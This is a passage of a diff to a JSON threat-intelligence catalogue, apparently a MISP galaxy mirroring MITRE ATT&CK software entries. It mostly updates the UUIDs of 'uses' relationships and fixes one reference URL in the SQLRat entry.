"tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9017,7 +10259,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9051,21 +10293,21 @@ }, "related": [ { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "143c0cbb-a297-4142-9624-87ffc778980b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9079,28 +10321,28 @@ "type": "uses" }, { - "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c16e5409-ee53-4d79-afdc-4099dc9292df", + "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9128,14 +10370,14 @@ }, "related": [ { - "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9149,7 +10391,7 @@ "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9170,28 +10412,21 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9240,14 +10475,14 @@ "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9261,7 +10496,7 @@ "type": "uses" }, { - "dest-uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9296,7 +10531,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9310,7 +10545,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9338,7 +10573,7 @@ }, "related": [ { - "dest-uuid": "f2d44246-91f1-478a-b6c8-1227e0ca109d", + "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9372,14 +10607,14 @@ }, "related": [ { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9413,7 +10648,7 @@ }, "related": [ { - "dest-uuid": "519630c5-f03f-4882-825c-3af924935817", + "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9427,14 +10662,14 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9455,21 +10690,21 @@ "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9483,21 +10718,21 @@ "type": "uses" }, { - "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9552,7 +10787,7 @@ "type": "uses" }, { - "dest-uuid": "46944654-fcc1-4f63-9dad-628102376586", + "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9566,7 +10801,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9615,7 +10850,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9636,7 +10871,7 @@ "type": "uses" }, { - "dest-uuid": "6e6845c2-347a-4a6f-a2d1-b74a18ebd352", + "dest-uuid": "f0589bc3-a6ae-425a-a3d5-5659bfee07f4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9803,7 +11038,7 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9845,7 +11080,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9886,14 +11121,14 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9914,14 +11149,14 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9947,6 +11182,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "7bd9c723-2f78-4309-82c5-47cad406572b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", @@ -9969,7 +11218,7 @@ }, "related": [ { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9983,7 +11232,7 @@ "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10135,14 +11384,14 @@ }, "related": [ { - "dest-uuid": "e6415f09-df0e-48de-9aba-928c902b7549", + "dest-uuid": "a3e1e6c5-9c74-4fc0-a16c-a9d228c17829", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10156,21 +11405,21 @@ "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "143c0cbb-a297-4142-9624-87ffc778980b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10206,42 +11455,42 @@ "type": "similar" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "41868330-6ee2-4d0f-b743-9f2294c3c9b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "a257ed11-ff3b-4216-8c9d-3938ef57064c", + "dest-uuid": "7b211ac6-c815-4189-93a9-ab415deca926", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10255,7 +11504,7 @@ "type": "uses" }, { - "dest-uuid": "e906ae4d-1d3a-4675-be23-22f7311c0da4", + "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10269,49 +11518,42 @@ "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", + "dest-uuid": "b4694861-542c-48ea-9eb1-10d356e7140a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10345,7 +11587,7 @@ "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10359,7 +11601,7 @@ "type": "uses" }, { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10380,7 +11622,7 @@ "type": "uses" }, { - "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10394,21 +11636,21 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10436,21 +11678,21 @@ }, "related": [ { - "dest-uuid": "54456690-84de-4538-9101-643e26437e09", + "dest-uuid": "118f61a5-eb3e-4fb6-931f-2096647f4ecd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10464,21 +11706,21 @@ "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10505,7 +11747,7 @@ }, "related": [ { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10519,14 +11761,14 @@ "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "143c0cbb-a297-4142-9624-87ffc778980b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10605,7 +11847,7 @@ "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10642,49 +11884,49 @@ }, "related": [ { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "9c99724c-a483-4d60-ad9d-7f004e42e8e8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "dest-uuid": "eec23884-3fa1-4d8a-ac50-6f104d51e235", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10712,7 +11954,7 @@ }, "related": [ { - "dest-uuid": "c16e5409-ee53-4d79-afdc-4099dc9292df", + "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10750,7 +11992,7 @@ "type": "uses" }, { - "dest-uuid": "519630c5-f03f-4882-825c-3af924935817", + "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10764,14 +12006,14 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10800,14 +12042,14 @@ }, "related": [ { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10842,7 +12084,7 @@ "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10891,14 +12133,14 @@ "type": "uses" }, { - "dest-uuid": "b82f7d37-b826-4ec9-9391-8e121c78aed7", + "dest-uuid": "fb640c43-aa6b-431e-a961-a279010424ac", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2e114e45-2c50-404c-804a-3af9564d240e", + "dest-uuid": "0af0ca99-357d-4ba1-805f-674fdfb7bef9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10967,21 +12209,21 @@ "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "143c0cbb-a297-4142-9624-87ffc778980b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21", + "dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -10995,28 +12237,28 @@ "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "dest-uuid": "eec23884-3fa1-4d8a-ac50-6f104d51e235", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11030,35 +12272,28 @@ "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "dest-uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11079,14 +12314,21 @@ "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", + "dest-uuid": "365be77f-fc0e-42ee-bac8-4faf806d9336", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11127,7 +12369,7 @@ "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11162,14 +12404,14 @@ "type": "uses" }, { - "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11190,14 +12432,14 @@ "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11269,7 +12511,7 @@ "external_id": "S0390", "refs": [ "https://attack.mitre.org/software/S0390", - "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/ " + "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/" ], "synonyms": [ "SQLRat" @@ -11277,7 +12519,7 @@ }, "related": [ { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11305,28 +12547,28 @@ "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": 